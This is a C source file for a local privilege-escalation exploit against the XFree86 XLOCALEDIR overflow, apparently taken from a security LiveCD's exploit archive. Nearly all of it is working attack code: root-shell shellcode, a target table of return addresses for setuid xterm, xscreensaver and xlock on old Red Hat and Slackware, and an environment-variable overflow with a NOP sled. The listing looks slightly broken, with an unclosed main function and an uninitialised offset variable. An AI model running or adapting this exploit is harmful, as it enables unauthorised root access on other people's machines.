home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / xwin / a.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  4KB  |  167 lines

  1. /* XFree86 XLOCALEDIR env local root exploit
  2.   coded by aXis@ph4nt0m.net
  3.   PH4NT0M SECURITY TEAM
  4.  
  5.   bug is reported at  www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=4516
  6.   this bug was founded by tarranta & dcryptr 3 january 2003
  7.   dcryptr and angello have given exploits
  8.   this exploit is base on that two exploits
  9.  
  10.   tested on REDHAT 9
  11.   but there isn't a 's' for these two files.so we can't get a rootshell.
  12.   
  13.   just for fun!  
  14.  
  15. */
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <getopt.h>
  19. #include <sys/errno.h>
  20. #include <string.h>
  21. #include <stdio.h>
  22.  
  23. //#define RET 0xbffffe50 // on rh9 ,RETADDR could be 0xbffff00---0xbffffe90  ===>tha's will be good!
  24.  
  25. char shellcode[]=
  26.  "\x31\xdb"
  27. "\x89\xd8"
  28. "\xb0\x17"
  29. "\xcd\x80"
  30. "\x31\xdb"
  31. "\x89\xd8"
  32. "\xb0\x17"
  33. "\xcd\x80"
  34. "\x31\xdb"
  35. "\x89\xd8"
  36. "\xb0\x2e"
  37. "\xcd\x80"
  38. "\x31\xc0"
  39. "\x50"
  40. "\x68\x2f\x2f\x73\x68"
  41. "\x68\x2f\x62\x69\x6e"
  42. "\x89\xe3"
  43. "\x50"
  44. "\x53"
  45. "\x89\xe1"
  46. "\x31\xd2"
  47. "\xb0\x0b"
  48. "\xcd\x80"
  49. "\x31\xdb"
  50. "\x89\xd8"
  51. "\xb0\x01"
  52. "\xcd\x80";
  53.  
  54. struct target{
  55.   int num;
  56.   char *version;
  57.   char *dest;
  58.   char *name;
  59.   unsigned long ret;
  60.   int bufsize;
  61.  
  62. };
  63.  
  64.  
  65. struct target exploit[]={
  66.   {1,"Redhat linux 9.0 --","/usr/X11R6/bin/xterm","xterm",0xbffffe50,4076},
  67.   {2,"Redhat linux 9.0 --","/usr/X11R6/bin/xscreensaver","xscreensaver",0xbffffe50,4076},
  68.  
  69.   //this ret on rh7.3 is supplied by angelo rosiello
  70.   {3,"Redhat linux 7.3 --","/usr/X11R6/bin/xscreensaver","xscreensaver",0xbfffdf20,4076},
  71.  
  72.   //these 3 ret on slackware followed is supplied by dcryptr
  73.   {4,"Slackware 8.1 --","/usr/X11R6/bin/xscreensaver","xscreensaver",0xbfffe861,6000},
  74.   {5,"Slackware 8.1 --","/usr/X11R6/bin/xterm","xterm",0xbfffe86d,6000},
  75.   {6,"Slackware 8.1 --","/usr/X11R6/bin/xlock","xlock",0xbfffe86d,6000},    
  76.   {0,NULL,NULL,NULL,0,0} 
  77. };
  78.  
  79.  
  80. void usage(char *c);
  81.  
  82. int main(int argc, char **argv){
  83.   char buf[4076];
  84.   int i; 
  85.   int type;
  86.   int options;
  87.   int size;
  88.   unsigned long ret;
  89.   
  90.   //options of the exploit
  91.   while((options=getopt(argc,argv,"ht:"))!=-1){
  92.     switch(options){
  93.        case 'h':
  94.      usage(argv[0]);
  95.          exit(0);
  96.        case 't':
  97.          type=atoi(optarg);
  98.          
  99.          if(type>6||type<0){
  100.            printf("Wrong Target!\n\n");
  101.            exit(0);
  102.     
  103.          }
  104.      
  105.          if(type==0){
  106.        usage(argv[0]);
  107.            printf("Please select target num !\n");
  108.            printf("======================================\n");
  109.            for(i=0;exploit[i].dest;i++)
  110.            fprintf(stderr,"[%d]  | %s  %s  \n",exploit[i].num,exploit[i].version,exploit[i].dest);
  111.          exit(1);
  112.   
  113.  
  114.          }
  115.      break;
  116.     default:
  117.       usage(argv[0]);
  118.       exit(0);      
  119.  
  120.      }
  121.  
  122.   }
  123.  
  124.   size=exploit[type-1].bufsize;
  125.   ret=exploit[type-1].ret;
  126.     
  127.   //set the env to buf,first time.
  128.   memset(buf,0x41,4072);
  129.   memcpy(buf+2076,&ret,0x4);  //the value 2076 is knows form angelo roseillo's exploit
  130.   setenv("XLOCALEDIR",buf,1);
  131.   
  132.   //buffer now has changed ,set env to buf for the second time!
  133.   memset(buf,0x90,size); 
  134.   memcpy(buf+4000+i,shellcode,strlen(shellcode));
  135.   setenv("PH4NT0M",buf,1);
  136.  
  137.  
  138.   printf("\n++++++++++++++++++++++++++++++\n");
  139.   printf("Xfree86 XLOCALEDIR env local root exploit\n");
  140.   printf("++++++++++++++++++++++++++++++++\n\n");
  141.   printf("coded by aXis,aXis@ph4nt0m.net\n");
  142.   printf("PST,www.ph4nt0m.org\n\n");  
  143.   printf("retaddr is at 0x%lx  \n",ret);
  144.   printf("buf is at 0x%lx \n",&buf);
  145.   
  146.   if(execl((exploit[type-1].dest),(exploit[type-1].name),0)==-1){
  147.     fprintf(stderr,"failed,try another target! -h for help\n\n");
  148.       exit(-1);
  149.   }
  150.   
  151.   return 0;
  152.  
  153. void usage(char *c){
  154.   fprintf(stderr,"\n===XFree86 XLOCALEDIR env local root exploit====\n"
  155.                              "====coded by aXis===========\n"
  156.                              "====aXis@ph4nt0m.net\n"
  157.                              "===PH4NT0M SECURITY TEAM      www.ph4nt0m.org===\n\n"
  158.                              "usage: %s [-h] [-t <num>]\n"
  159.                              "Options:\n"
  160.                              "   -h:\t this help.\n"
  161.                          "   -t num:\t select the target type,try 0 for list\n\n",c);
  162.   
  163.  
  164. }
  165.  
  166.